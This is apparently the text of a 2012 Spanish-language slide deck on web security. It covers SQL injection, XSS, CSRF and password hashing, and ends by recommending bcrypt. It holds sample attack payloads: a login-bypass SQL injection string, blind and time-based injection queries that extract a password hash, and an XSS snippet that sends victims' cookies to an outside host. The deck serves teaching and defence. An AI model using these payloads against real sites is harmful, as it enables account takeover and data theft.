1. Seguridad WEB
Principios básicos de seguridad en
aplicaciones web Una recorrida por los
problemas mas comunes, SQL Injection,
XSS, etc.
Sábado 27 de Octubre de 2012, Charlas técnicas, Lanux.
2. /about
Oscar Javier Gentilezza Arenas (a.k.a Exos)
Informático, curioso, desarrollador y paranoico.
Mail/jabber: tioscar@gmail.com
Twitter/Identi.ca: @exos
Blog: http://blog.exodica.com.ar
GPG: https://secure.exodica.com.ar/gpg/
3. Temas
● Por qué ser seguros
● Aplicción insegura == aplicación mal hecha
● Un poco de concepto
● Inyección de codigo con SQL Injectión
● XSS
● XSRF / CSRF
● Contraseñas, hashes y salts
9. Vulnerabilidad (según wikipedia)
Las vulnerabilidades son puntos débiles del
software que permiten que un atacante
comprometa la integridad, disponibilidad o
confidencialidad del mismo. Algunas de las
vulnerabilidades más severas permiten que
los atacantes ejecuten código arbitrario,
denominadas vulnerabilidades de seguridad,
en un sistema comprometido.
10. Errores en la web
Los ataques mas comunes a la web se
realiza aprobechando errores de
programación (muchos conceptuales) que
pueden ser evitables corrigiendo la forma en
que uno trabaja.
12. La web en sus inicios
La web en sus inicios eran sitios con páginas
estáticas hiperenlazadas entre si (entre
paginas y webs), que podían contener
imágenes, texto y demas material
multimedia.
13. La web ahora
En la actualidad los sitios webs son
aplicaciones ricas en dinamismo que hacen
mas complejo el concepto de la web.
El usuario pasó a ser un lector (web 1.0) ha
interactuar con contenidos o realizar ciertas
acciones desde esta (web 1.5) a
directamente formar parte totalmente activa
de su contenido (web 2.0 ++)
14. Que compone la web?
● Se usan nombres de dominios como
“direcciones” de los sitios webs
● Se consultan a servidores de nombres
(DNS) para saber sus direcciones reales
(Ips)
● Se consulta a dicha IP por el sitio en
cuestión
15. Que hay en el medio?
● Browser (cliente o navegador web)
● TCP/IP (internet)
● Protocolos HTTP/HTTPS/SPDY ← (?)
● Lenguajes (o pseudolenguajes) de
renderizado; html, css, xml, xslt-xsl
● Contenido multimedia
● Servidores
16. Las principales causas
● El no escapeo de los datos de e/s
● La no validación de los datos de entrada
● El no casteo de los datos de e/s
● El no control de las peticiones
17. Inyecciones de código
La inyección de código se trata de enviar
código arbitrario por variables de entrada no
escapados o validados, normalmente
solemos comunicarnos con ciertos servicios
en un lenguaje específico, el caso de
inyección mas conocido en la web en el de
SQL y se llama SQL Injection.
20. $name = $_POST['name'];
$password = $_POST['password'];
$sql = “SELECT * FROM Users WHERE
name = '$name' AND password =
'$password'”;
→
SELECT * FROM Users WHERE name = 'jose' AND
password = '7h3R4m0n3$$'
21. User: admin
Password: ' or '' = '
SELECT * FROM Users WHERE name =
'admin' AND password = '' or '' = ''
SI user = 'admin' Y password = '' O '' = ''
31. SELECT
count(1)
FROM
Users
WHERE
nick= 'jhon'
AND
SUBSTR(
(SELECT Password FROM Users
WHERE id = 1)
,1,1) = 'a'
32. SELECT
count(1)
FROM
Users
WHERE
nick= 'jhon'
AND
SUBSTR(
(SELECT Password FROM Users
WHERE id = 1)
,1,1) = 'a'
33. Cadena = ''
For x in 1 to 32
For y in 0 to F
If res(x,y) == true
Cadena += y
Break;
Raise “Sin true del 0 al f”
Print Cadena
De 32 a 16*32 intentos para obtener un MD5
34. SELECT
count(1)
FROM
Users
WHERE
nick= 'jhon'
AND
IF(SUBSTR(
(SELECT Password FROM Users
WHERE id = 1)
,1,1) =
'a',1,md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(
md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(md5(
md5(md5(md5(md5(md5(md5(md5(md5('123456')))))))))
))))))))))))))))))))) AND ''=''
41. XSS, Definición
En este caso nosotros tabién vamos a
inyectar código, pero no para atacar al
servidor, sino para atacar a los usuarios, se
puede decir que este ataque corre en cliente
(el browser), y con esto se puede lograr el
robo de credenciales o se puede tomar un
control limitado de la maquina “infectada”,
también se puede usar esta técnica para usar
a un sitio vulnerable como distribuidor de
malware
44. Reflejado
Se logra inyectar código mediante una
variable de entrada mal escapada o casteada
y se genera así una URL maliciosa que tiene
que ser entregada a la víctima.
47. Persistente
Se llama persistente cuando queda
almacenado del lado del servidor, por lo que
cualquier usuario que use el sitio es victima
indirectamente del ataque.
48. Como funciona
Supongamos que tenemos comentarios:
If ($_POST) {
$name = $_POST['name'];
$email = $_POST['email'];
$comment = $_POST['comment'];
saveComment($email, $comment);
….
}
53. Concepto de sesiones
Para que los usuarios puedan tener su
espacio propio en una web, o hacer acciones
vilculadas a un usario en el sistema, se suele
usar el concepto de session (sesión), esto
quiere decir que una vez que se comprueba
que el usuario es tal atravez de una
autentificación por login, se crea una session
donde se guarda información temporalemte.
54. Entendiendo las cookies
Para que los navegadores no tengan que
enviar todo el tiempo datos de login, para
identificar una sesión, se suelen usar
cookies, que es un pequeño espacio en el
browser (4KB) que el sitio puede usar para
almacenar datos, la información va del lado
del servidor, por lo que en las cookies solo se
guarda un identificador difícil de repodrucir o
suponer, esta cookie es del tipo de cookie de
sesión y tiene un tiempo de vida corto.
55. Robo de credenciales
Las cookies son accesibles desde
JavaScript, ya que tambien se puede usar
para almacenar cosas de este lado, eso
quiere decir que si yo inyecto código
JavaScript en una página donde un usuario
la está visitando logueado, voy a poder hacer
uso de sus cookies, y enviarmelas a mi
mismo, suplantando su identidad, ya que el
servidor creerá que las peticiones vienen del
usuario y no de un extraño.
56. <ul class=”comentarios”>
<li>
<span>Funalito dijo...</span>
<p>Que buena noticia, ya era hora
<script>document.write('<img src=”
http://misite.com/hack.php?cookies=' +
document.cookie + '” />')</script></p>
</li>
….
</ul>
60. Solo por HTTP
Para evitar los robos de credenciales, se creo
una propiedad en las cookies llamada
HttpOnly que quiere decir que solo se van a
mandar y recibir por peticiones http y no
serán visibles desde JavaScript.
61. Método Trace
Para poder saltar la limitación de HttpOnly, se hace
uso del método Trace, hecho para debugear
peticiones, este metodo a diferencia del GET, no
solo devuelve el contenido, sino también la
cabecera de la petición en el cuerpo de la repuesta,
por lo que se puede hacer mediante
XMLHttpRequest y luego parsearlo, la forma de
evitar esto es bloquear el metodo Trace del servidor,
igualmente los browser modernos no permiten estas
peticiones por ajax.
62. Robando cookies en Apache
Esta año se descubrió una vulnerabilidad todabia
vigente en gran cantidad de servidores, donde se
pueden obtener las cookies HttpOnly atravez del
mensaje por defecto del error 400 (Bad Request) de
Apache.
Cuando se envia una cabezera muy larga e servidor
responde con 400 mostrando la cabecera que provocó
el error, si se genera mediante javascript una cookie de
unos 7KB y se envia una petición, la respuesta tendrá
consigo la cabecera http, con las cookies HttpOnly
también.
66. Un Ataque de CSRF, fuerza al navegador
"logueado" de la victima a mandar un
"request HTTP", incluyendo el cookie de
sesión de la victima y cualquier otra
información de validación de la victima a una
aplicación web vulnerable. Esto permite al
atacante forzar al navegador de la victima
para cometer daños o estafas que la
aplicación piensa son iniciados por un usuario
legítimo.
68. Guardando contraseñas de
forma segura
Como vimos antes, muchos ataques sirven
para leer arbitrariamente datos de la base de
datos que no deberíamos, entre esos datos
las contraseñas, y como vimos en el ejemplo
de SQL Inyection, solo se obtenian Hashes.
69. Concepto de HASH
Una función hash es una operación que
aplica un algoritmo que mapea una cadena
en otra cadena de longitud fija cuyo resultado
es irreversible, osea no se puede llegar a la
cadena “sumada” con el resultado de esta
suma. De esta forma algo que es hasheado
es irrecuperable matematicamente.
70. Tipos de hashes (mas usados)
● MD5
● MySQL Password
● SHA-1
● SHA-256
● SHA-512 (no se usa tanto)
71. Ventajas
Un sistema no necesita saber la contraseña
de un usuario para autentificarlo, a la hora de
guardar las contraseñas debemos
hashearlas, asi en caso de que alguien tenga
acceso a estas no las tenga en claro, y no las
pueda usar.
72. Problema con hashes
Cada vez la computación avanza mas, y los
métodos de hash utilizados, aunque seguros
y robustos, se vuelven insuficientes a los
ataques de fuerza bruta, los hashes estan
hechos para ser rápidos, lo que hace que
generar grandes diccionarios o Rainbows
tables de estos sea cada vez mas fácil.
73. Ejemplo
Md5('123456')
=
'e10adc3949ba59abbe56e057f20f883e'
La robustes del algoritmo, es que no se
puede llega a '123456' desde el hash, pero si
un atacante consigue esta hash, no le va a
costar deducir el resultado...
74.
75. GPU
Las placas de video con sus
microprocesadores (GPUs) cada vez tienen
mas poder y aunque son operaciones
simples de suma y resta, suelen tener
muchos cores, y ser realemente rápidas, por
lo que pueden crear hasta 5 mil millones de
hashes md5 por segundo.
77. Salts
Los salts, son string que se utilizan de apoyo
a la contraseña, a si si un atacante consigue
una contraseña hasheada, aunque esta sea
debil, no podrá conseguir deducirla sin el salt,
de esta forma podemos, en vez de hacer un
md5 de la password, hacer un md5 de un
string secreo + la password:
md5(salt + password)
79. El tamaño importa
Cuando más larga y mas combinaciones por
byte tenga un password o salt, mas tiempo
tomará su crackeo, volviendo el ataque
irrealizable.
Un salt puede ser binario, si tenemos en
cuenta que cada byte puede tener 256
posibilidades, con un salt de 30 bytes,
tendrían 256³⁰ posibilidades, y eso
multiplicado por lo que aporte la contraseña.
80. bcrypt
Por úlrimo recomiendo el uso de bcrypt, ya
que es robusto, y ya tiene incorporado lo del
salt.